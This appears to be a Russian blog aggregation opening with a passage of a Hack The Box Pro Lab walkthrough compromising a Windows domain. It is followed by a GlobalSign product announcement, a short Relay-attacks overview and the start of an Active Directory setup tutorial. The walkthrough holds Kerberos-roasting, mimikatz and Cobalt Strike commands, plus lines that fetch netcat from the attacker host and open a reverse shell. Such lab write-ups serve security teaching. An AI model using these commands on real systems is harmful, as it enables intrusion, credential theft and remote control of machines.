Тоже ничего не найдя, переходим к последнему варианту это мониторинг запускаемых процессов и трафика. Давайте скопируем на хост собранные pspy и tcpdump. Среди процессов ничего интересного, а вот в трафике, раз в 5 секунд обнаружим три неизвестных хоста в подсети 192.168.3.0/24.



Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.
/tmp/nmap -sn 192.168.3.0/24



Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.
/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445



И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.
/tmp/nmap -Pn 192.168.3.201-203



Так мы определили сервисы, а теперь сделаем туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Укажем это в модуле autoroute, а потом проверим, что маршрут успешно создан.
run autoroute -s 192.168.3.0/24run autoroute -p



Теперь давайте настроим перенаправитель socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.



И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.



Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.
proxychains -q cme smb 192.168.3.201-203



Давайте добавим данные записи в /etc/hosts.
192.168.3.201 dev.htb.local
192.168.3.202 web.htb.local
192.168.3.203 dc1.htb.local

Попробовав поподключаться к различным службам я ничего не получил. Но есть возможность пробрутить имена пользователей, с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить запросить ключ (AS key) керберос данного пользователя, который будет зашифрован с помощью пароля этого пользователя. И если в UAC учетной записи установлен флаг DONT_REQ_PREAUTH (не требуется предварительная проверка подлинности Kerberos), то сервер вернет нам ключ. Но дело в том, что сервер различает ответ данный флаг не установлен и учетная запись не существует. Таким образом мы можем перечислить имена пользователей и там, где нам ответят, что флаг не установлен, мы делаем вывод о существовании такой учетной записи. Сделать это можно с помощью инструмента GetNPUser, входящего в пакет impacket. В качестве словаря используем, Username/names.txt из набора SecLists.
proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt | grep -v "Client not found in Kerberos database"



Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.
john --wordlist=./tools/rockyou.txt bob.hash



И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.
proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares



И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.
proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R



И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.
proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'





Messenger flag


Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.
enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null









И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.
proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN



Если есть двустороннее доверие, атакующий может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно неограниченное делегирование. Ошибка приводит к тому, что атакующий получает информацию об аутентификации, а именно NTLMv1 хеш учетной записи машины.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.
sudo responder -I tun0 --lm

И выполняем атаку (приведу и dementor и printerbug):
proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4



И в окне респондера получаем желаемый хеш.



Нам нужно конвертировать его в NTLM хеш.
python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9



И вот тут возникли проблемы. Так как перебрать DES ключи заняло бы около 150 дней, а платить на ресурсе crack.sh не хотелось, но нашелся человек, который поделился уже полученным с crack.sh хешем: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам нужны хеш учетной записи, SID домена, сам домен и имя любого (даже придуманного пользователя). После создания экспортируем билет.
proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralfexport KRB5CCNAME=ralf.ccache



И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'



Проверим конфигурации созданной службы.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10



И запустим ее.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10



Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.



proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11



И в листенере наблюдаем успешное подключение.



Таким образом мы захватываем первую из трех целевых машин.



Resurrection flag


Но так как это не конец, нужно закрепиться на машине, для чего необходимо получить хоть какие-то учетные данные. Так как мы работаем от имени локального администратора, нам достаточно и хешей, но средства вроде mimikatz и meterpreter блокируются антивирусом. Дабы по понятным причинам не показывать способы криптования нагрузок, я использую простую нагрузку Cobalt Strike без всяких модификаций. Для начала запустим сервер и подключимся к нему.





Теперь необходимо создать листенер.



И вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.



Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.



В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.



Cobalt принимает все команды поточно, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы связь происходила мгновенно и команды выполнялись также потоком, введем команду sleep 0. А затем сдампим хеши.



Ну и в случае чего, мы можем подключиться к хосту через WinRM.
proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86



Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.







Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.





И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.







Хост 192.168.3.201 можно удалить из списка, так как мы уже его захватили, но он обозначился как 10.13.38.17. Проведя разведку на хосте, не за что больше уцепиться не вышло. Была идея посмотреть хранилище учетных данных, для того чтобы восстановить сохраненные учетные данные, но оба хранилища оказались пусты.
shell vaultcmd /listshell vaultcmd /listcreds:"Web Credentials"shell vaultcmd /listcreds:"Windows Credentials"



И в конце концов я дошел до пункта теневые копии в своем чеклисте. И тут как раз в точку.





Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.
mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM



И пароль администратора легко находим в онлайн базах.



Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.



Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.



Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.



Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).
mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"



А теперь расшифруем учетный данные.
mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



И мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag


Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.



Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.
execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d



Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.





Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.



И мы получим следующий граф.



Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.



И мы даже можем получить инструкцию по дальнейшей эксплуатации.



Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.
Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.
New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)



Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.
Get-DomainComputer RalfPC



Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.
$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force$TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.
Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.



Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SIDу созданной нами учетной записи.
$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0$Descriptor.DiscretionaryAcl



Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.
execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23



Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).
execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt



Проверим локальное хранилище билетов и обнаружим там только что импортированный.



Проверим доступ к веб сервису.
$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode



Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.
powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html"download 1.html



Добавим эти учетные данные в хранилище данных.



Давайте попробуем расширяться в сети, так как на машине открыт WinRM, то будем использовать именно его. Переходим в список целей, выбираем нужный нам хост и через контекстное меню -> Jump -> winrm64 открываем дополнительное окошко. Выбираем из списка remote_user и создаем новый SMB Listener.



И после подключения видим новую захваченную машину, правда без прав админа.





И как знак пройденного этапа, забираем еще один флаг.



Celestial flag


Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table AutoSize



Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.





Давайте создадим дамп трафика с помощью tshark.
tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Никаких учетных данных не находдим, поэтому углубимся в анализ и откроем данный файл в Wireshark на локальной машине. Находим обращение по трем интересным доменам. Но записи для них отсутствуют.





Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.







Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.
Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose



И атака выполнена успешно. Проверим это.
Nslookup db1.htb.local 192.168.3.203



Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.
sudo responder -I tun0 -wrf



Давайте перебирать данный хеш.
hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1



И у нас есть пароль администратора. Попробуем его использовать для подключения. Как и всегда, сначала дополняем хранилище учетных данных, потом создаем еще один SMB Beacon и выполняем подключение к хосту WEB через psexec64.







И наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.





Забираем флаг администратора, как подтверждение еще одного пройденного этапа.



Dominion flag


Тут я вернулся к keepass. Найдем все, что его касается.
powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName

Мы найдем два конфига: у Администратора и пользователя.



В файле пользователя находим упоминание о базе kdbx, которая отсутствует.



Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump::secrets.



Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.





И забираем последний флаг.



Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

GlobalSign выпустила первый в мире кроссплатформенный агент для управления сертификатами под Windows, macOS и Linux

28.01.2021 02:19:40 | Автор: admin


19 января 2021 года компания GlobalSign объявила о выходе AEG 6.4 новой версии шлюза автоматической регистрации Auto Enrollment Gateway, вместе с которым представлена маленькая, но уникальная программка: кроссплатформенный агент для автоматической выдачи и управления сертификатами под Windows, Mac OS и Linux. Компания заявляет, что это первое такое предложение от любого удостоверяющего центра в мире.

Агент регистрации


Кроссплатформенный агент регистрации небольшая программа, которая устанавливается на устройстве и использует протокол ACME или SCEP для связи с AEG. Во многих случаях агент также обеспечивает соблюдение определённых отраслевых правил или национальных нормативных актов. Кроме того, агент устраняет барьеры для S/MIME, поскольку работает на любой платформе и операционной системе, что также повышает масштабируемость. Например, если из компании увольняется сотрудник, то его ключи автоматически архивируются.

Агент регистрации легко устанавливается на любом клиенте или сервере Windows, macOS и Linux. Утилита помогает устанавливать политики управления сертификатами и управлять с помощью интуитивно понятной панели мониторинга AEG.



Кроме того, агент автоматически выдаёт и контролирует сертификаты. Это великолепно масштабируемый метод развёртывания сертификатов на устройствах, машинах, клиентах S/MIME и серверах организации.

Установка агентов на своих конечных точках даёт организации больший охват и контроль над всей своей сетью, говорит Лила Ки, генеральный директор отдела операций в Северной и Южной Америке GlobalSign. Это также означает, что пользователям и администраторам больше не нужно полагаться на сложные методы регистрации сертификатов, что в конечном итоге улучшает управление сертификатами. Мы действительно ставим последнюю точку в автоматизации этого процесса. AEG 6.4 идеально подходит для организаций, которые хотят начать или оптимизировать удалённую работу, обеспечить безопасность сетей BYOD и автоматизировать функции PKI, которые потребляют время и ресурсы в ручном управлении.

Что такое Auto Enrollment Gateway


Auto Enrollment Gateway это полностью автоматизированное PKI-решение, которое интегрирует PKI непосредственно с Active Directory, поэтому в среде Windows можно автоматизировать выпуск сертификатов и управление ими без необходимости поддерживать собственный удостоверяющий центр. Поддержка протоколов SCEP и ACME v2 расширяет использование сертификатов за пределы домена Windows, позволяя автоматизировать сертификацию для серверов Linux, а также мобильных, сетевых и других устройств.



Передавая услуги по шифрованию и управлению сертификатами доверенному удостоверяющему центру, компания снижает риски, связанные с управлением и поддержанием работы собственной инфраструктуры PKI.

Если требуются публичные доверенные сертификаты (например, для отправки за пределы компании зашифрованных или скреплённых электронной подписью электронных писем), можно получить такой сертификат не через приватный корневой удостоверяющий центр, а через публичный доверенный корневой удостоверяющий центр GlobalSign.

При подаче заявки на сертификат закрытый ключ защищённым образом отправляется на выделенный локальный сервер и архивируется на нём. Архивация и восстановление ключа принципиально важны при использовании протокола S/MIME и помогают избежать безвозвратной потери зашифрованных данных в случае, если оригинальный ключ шифрования более не доступен.

В целом для многих компаний AEG более безопасное и удобное решение, чем управлять собственным удостоверяющим центром. Собственный УЦ в конечном счёте очень дорого обходится, если учесть зарплаты специалистов и обслуживание серверов. В то же время AEG автоматизирует выдачу и обслуживание сертификатов любых типов, в том числе:

  • Вход в систему с помощью смарт-карт
  • Электронные подписи в документах Microsoft Office,
  • Подпись кода
  • Защита электронных сообщений
  • SSL/TLS
  • Система шифрования данных Encrypted File System (EFS) на уровне файлов в операционных системах
  • Аутентификация пользователей
  • Аутентификация устройств
  • Мобильная аутентификация
  • и т.д.

Шлюз AEG идеально подходит для любой компании с более чем 500 сотрудниками и/или устройствами, а также для тех, кто использует Microsoft Active Directory. Управление PKI и автоматизация особенно востребованы в нынешних условиях, которые требуют от сотрудников удалённой работы.

AEG 6.4 также реализует опции безопасности, в которых сейчас нуждаются компании: S/MIME для безопасной электронной почты, удалённая сетевая аутентификация и инструменты для управления всем этим. Это снижает нагрузку на IT-отдел, экономит время и деньги ресурсов, а также значительно повышает уровень безопасности компании.
Подробнее..

Relay атаки

08.06.2021 18:13:14 | Автор: admin

Статья расскажет о том, какие Relay атаки существуют на сегодняшний день и как их воспроизводить, какие основные инструменты для проведения данных атак при тестировании на проникновение можно использовать, а также будет рассмотрена Relay атака на Active Directory.

Что такое Relay

Relay атаки известны достаточно давно. Если ввести в поисковике "Relay attacks", то можно найти много страниц, которые были созданы около 20 лет назад. В компьютерной литературе термин Relay используется для обозначения процесса повторной передачи данных. В этом процессе информацию для повторения просто пересылают на указанный адрес. Тот, кто передаёт информацию, не обязательно должен её разбирать семантически или структурно, он просто является посредником. Определение достаточно простое, но реализация порой сопряжена с большим количеством особенностей и ограничений.

Основным условием проведения атаки является то, что атакующий перед началом "повторения" должен находиться посередине соединения, то есть контролировать или хотя бы наблюдать процесс передачи информации. Для такого состояния существует отдельный термин MitM. По факту это еще одна атака, которая используется для запуска Relay.

Почему Relay атаки существуют и где применяются? Любая информационная система должна регламентировать правила безопасной передачи информации между участниками обмена. Правила должны включать как защиту данных от утечки, так и правила разграничения доступа к информации между участниками системы. Первая задача в системах обычно решается с помощью криптографических методов преобразования, а вторая за счет использования специальных идентификаторов, которые в рамках системы имеют уникальные характеристики и позволяют идентифицировать учетные данные пользователя, который владеет идентификатором. Очень часто эти идентификаторы используются для реализации механизмов криптографии.

Relay атака подразумевает просто процесс повторения передачи данных, то есть ее шаблон хорошо подходит для того, чтобы влиять на состояние систем, даже не имея к ним прямого доступа. Особенно это актуально, если в системе используется криптографические методы защиты. Однако, если правильно применить атаку, то можно получать доступ к системе, запускать механизмы обработки данных, вызывать проблемы в функционировании систем. Известны примеры успешных Relay атак на корпоративные системы управления доступом, системы NFS, и т.д. В статье будем фокусироваться на Relay атаках, которые применимы для систем под управлением Windows AD.

Windows AD

Relay атаки Windows AD существуют практически столько же, как и сама система. Возможность их проведения существует потому, что системы использует свой собственный механизм SSO. Данный механизм позволяет пользователям обращаться к ресурсам системы. При правильном "направлении" запросов на получение доступа к ресурсу за счёт SSO, атакующий может получить доступ к ресурсу от имени пользователя, которого он "направил". При этом атакующему не нужно будет знать ни учетных данных, ни идентификаторов, которые используются в системе.

Официальной систематизации при описании Relay атак на Windows AD нет, поэтому будем использовать следующую классификацию:

  • Классческие Relay атаки данные пересылаются только по сети, без дополнительной обработки хоста

  • Гибридные Relay атаки Rouge Potato, Relay Potato

Попробуем разобраться, что каждая атака из себя представляет.

Атаки и инструменты

Классические Relay атаки для работы атаки необходимо:

  • Просканировать сеть и получить список сервисов. Нужны расшаренные директории через SMB, HTTP сервера, LDAP сервера.

  • Установить слушателя для локальных соединений или провести атаку на маршрутизацию данных в сети

Набор инструментов, которые можно использовать:

Успех атаки зависит от того, как настроены перечисленные выше сервисы. Все инструменты заточены на использование при схеме авторизации через NTLM протокол. Таким образом, основная задача при проведении атаки это переповторение процедуры обмена NTLM Challenge. (Не будет работать при использовании процедуры подписи запросов).

Возможные вектора атак: SMB->SMB,HTTP/HTTPs, LDAP/LDAPs, MSSQL, POP3, IMAP/s, SMTP.

Сценарий атаки:

Пользовательская система не содержит известных уязвимостей. Пользователь периодически пользуется HTTP веб-сервером и файловым обменником. Атакующий проводит атаку типа ARP Cache Poison. В bettercap можно запустить команду так:

set arp.spoof.targets 192.168.56.15set arp.spoof.internal truearp.ban on

В результате все запросы, которые отправляет машина пользователя, передает данные через машину атакующего. Можно запустить инструмент ntlmrelayx из набора скриптов impacket и ждать обращения на обменник:

python3 ntlmrelayx.py -t smb://192.168.56.25 -smb2support -socks

В итоге у нас появится командная строка ntlmrelayx и можно дампить данные и отправлять команды в целевую систему от имени пользователя.

Гибридные атаки модифицированная версия атак, которая позволяет задействовать дополнительные механизмы ОС для управления процедурой авторизации.

Rouge Potato атака использует методы делегирования дескриптора безопасности. Для проведения атаки используется механизм DCOM OXID Resolver запросы к нему заворачиваются через named pipes и в результате атакующий получает возможность запускать команды в системе от имени пользователя "NETWORK SERVICE" в дальнейшем токен можно проапгрейтить до токена "SYSTEM".

Атаку можно провести с помощью инструмента RougePotato. Инструмент используется для повышения привилегий в системе, то есть Relay происходит только на уровне механизмов ОС. Провести эту атаку без хотя бы минимального доступа к командной строке ОС не получится.

Remote Potato модификация атаки Remote Potato, где обходится механизм запрета на запрос данных из ресурса без авторизации посредством DCOM механизма ResolveOxid2. Для этой атаки также необходимо иметь минимальный доступ к системе, так как при процедуре запроса токена происходит обращение к сервису через локальный IXOD Resolver.

Заключение

Несмотря на то, что Relay атаки известны уже давно, на данный момент они остаются все еще актуальными для информационных систем. В частности, администраторам безопасности Active Directory рекомендуется включить подпись запросов NTLM протокола во избежании взлома системы с помощью данного метода.


Статью подготовил Александр Колесников в рамках курса Пентест. Практика тестирования на проникновение. Если вам интересно узнать больше о формате и программе обучения, приглашаем на день открытых дверей онлайн.

Подробнее..

Настраиваем и автоматизируем развёртывание Active Directory

03.11.2020 08:13:00 | Автор: admin


В этой статье я бы хотел предложить вам пошаговый туториал по развёртыванию контроллера домена Active Directory на Windows Server 2016 (с графической оболочкой), а также по вводу рабочей станции в получившийся домен. Чем этот туториал может выделиться на фоне других:


  1. Вместо простого "Далее, Далее, кликаем сюда, вбиваем это" я постарался дать внятное объяснение каждому шагу, каждой настройке, которую предстоит выполнить. Помимо основных понятий Active Directory, DNS и DHCP вы также сможете найти много интересной информации по всем галочкам, которые вы часто видели, но не задумывались об их назначении.
  2. В конце статьи я предложу способ автоматизировать развёртывание получившегося стенда полностью с нуля, имея на компьютере только iso-образы ОС Windows 7 и Windows Server 2016. И никакого PowerShell. Всего одной командой.

Статья предполагает наличие у читателя лишь самых начальных знаний об устройстве сетей (на уровне "Что такое IP-адрес и DNS-адрес").


Заинтересовало что-то из вышеперечисленного? Тогда погнали.


Туториал будет происходить не в вакууме, а на конкретном виртуальном стенде, состоящим из двух виртуальных машин:



Начальное состояние стенда:


  1. На машине windows_server уже установлена ОС Windows Server 2016 Standard Evaluation (с GUI). Машина находится в состоянии "сразу после установки ОС". В процессе туториала на ней будут развернуты службы Active Directory (с доменом mydomain.com), DNS и DHCP.


  2. Машина workstation выполняет роль рабочей станции. На ней установлена ОС Windows 7. Машина находится в состоянии "сразу после установки ОС". В процессе туториала она будет подключена к домену mydomain.com.



Туториал построен следующим образом (если вам интересен только конкретный пункт смело кликайте прямо туда):


  1. Объясню, почему я выбрал именно такой стенд для туториала;
  2. Супер-краткое описание технологии Active Directory;
  3. Выполняется небольшая предварительная настройка windows_server;
  4. На windows_server производится включение необходимых компонентов;
  5. На windows_server происходит настройка контроллера домена AD (совместно с DNS);
  6. На windows_server происходит настройка сервера DHCP;
  7. На windows_server регистрируется новая учетная запись в AD;
  8. На workstation происходит подключение к домену.

В конце туториала вас ждет приятный бонус я покажу вам как можно развернуть у себя на компьютере весь этот работающий стенд одной единственной командой. Вам понадобится только наличие двух установочных iso-образов (windows 7 и windows server 2016), да небольшой скрипт, ссылку на который я вам дам в конце статьи.


Почему такой стенд?


Такой стенд, с моей точки зрения, отлично подходит для первого самостоятельного "прощупывания" технологии Active Directory. Он минималистичен (всего 2 виртуальные машины), занимает минимум ресурсов, но при этом изолирован и самодостаточен. Его можно развернуть даже на довольно средненьком компьютере и ноутбуке. При этом на стенде уже присутствуют основные сетевые службы (AD + DNS). DHCP хоть и необязателен для функционирования AD, всё равно был добавлен в стенд в ознакомительных целях.


Disclaimer

Данный туториал предлагает исключительно пробное знакомство с Active Directory. Ни при каких обстоятельствах не рекомендуется разворачивать подобную конфигурцию при решении реальных задач администрирования сетей. В самом туториале я постараюсь обратить внимание на основные моменты, которые не рекомендуется применять в реальных сетях.


Туториал предполагает подробный разбор всех шагов по настройке, с пояснениями "что, зачем и почему". Туториал ориентирован на людей, не слишком знакомых с технологиями Active Directory, DNS и DHCP, которые хотели бы немного узнать о внутренней кухне администрирования сетей с Active Directory.


Если же базовая настройка AD вызывает у вас лишь зевоту, переходите прямо сюда и посмотрите, как можно автоматизировать весь процесс по развёртыванию собственного стенда с AD и рабочей станцией.


Что такое Active Directory


Active Directory это службы каталогов от компании Microsoft, как подсказывает нам Википедия. За этим сухим и невзрачным определением скрывается одна из важнейших технологий в администрировании сетей. Благодаря Active Directory администоратор сети получает очень удобное централизированное средство управления учетными записями пользователей, групповыми политиками (в т.ч. политиками безопасности) и объектами в сети (причём Active Directory без особых проблем справляется даже с гигантскими сетями). А благодаря встроенному механизму репликации, "положить" правильно настроенные сервисы AD не так-то просто. Ну и напоследок, благодаря Windows, настроить Active Directory можно буквально мышкой, так что даже совсем начинающие IT-шники смогут с этим справиться.


Несмотря на то, что технологией заведует Microsoft, она вовсе не ограничивается управлением Windows-машин все известные Linux-дистрибутивы уже давным давно научились работать с этой технологией. Повстречаться с Active Directory не просто, а очень просто практически каждый офис предполагает наличие этой технологии, поэтому даже самым заядлым линуксоидам было бы неплохо разбираться в азах работы Active Directory.


Начинаем


Вы установили Windows Server 2016 и (надеюсь) видите следующий экран:



Эта панель основное (графическое) средство администрирования Windows Server 2016. Здесь вы можете управлять компонентами и сервисами на вашем сервере (проще говоря, настраивать то, что умеет делать сервер). Эту же панель можно использовать и для базовых сетевых настроек Windows Server, для чего есть вкладка "Локальный сервер".


Базовые настройки Windows Server


Первое, что нужно сделать это поменять сетевое имя сервера.


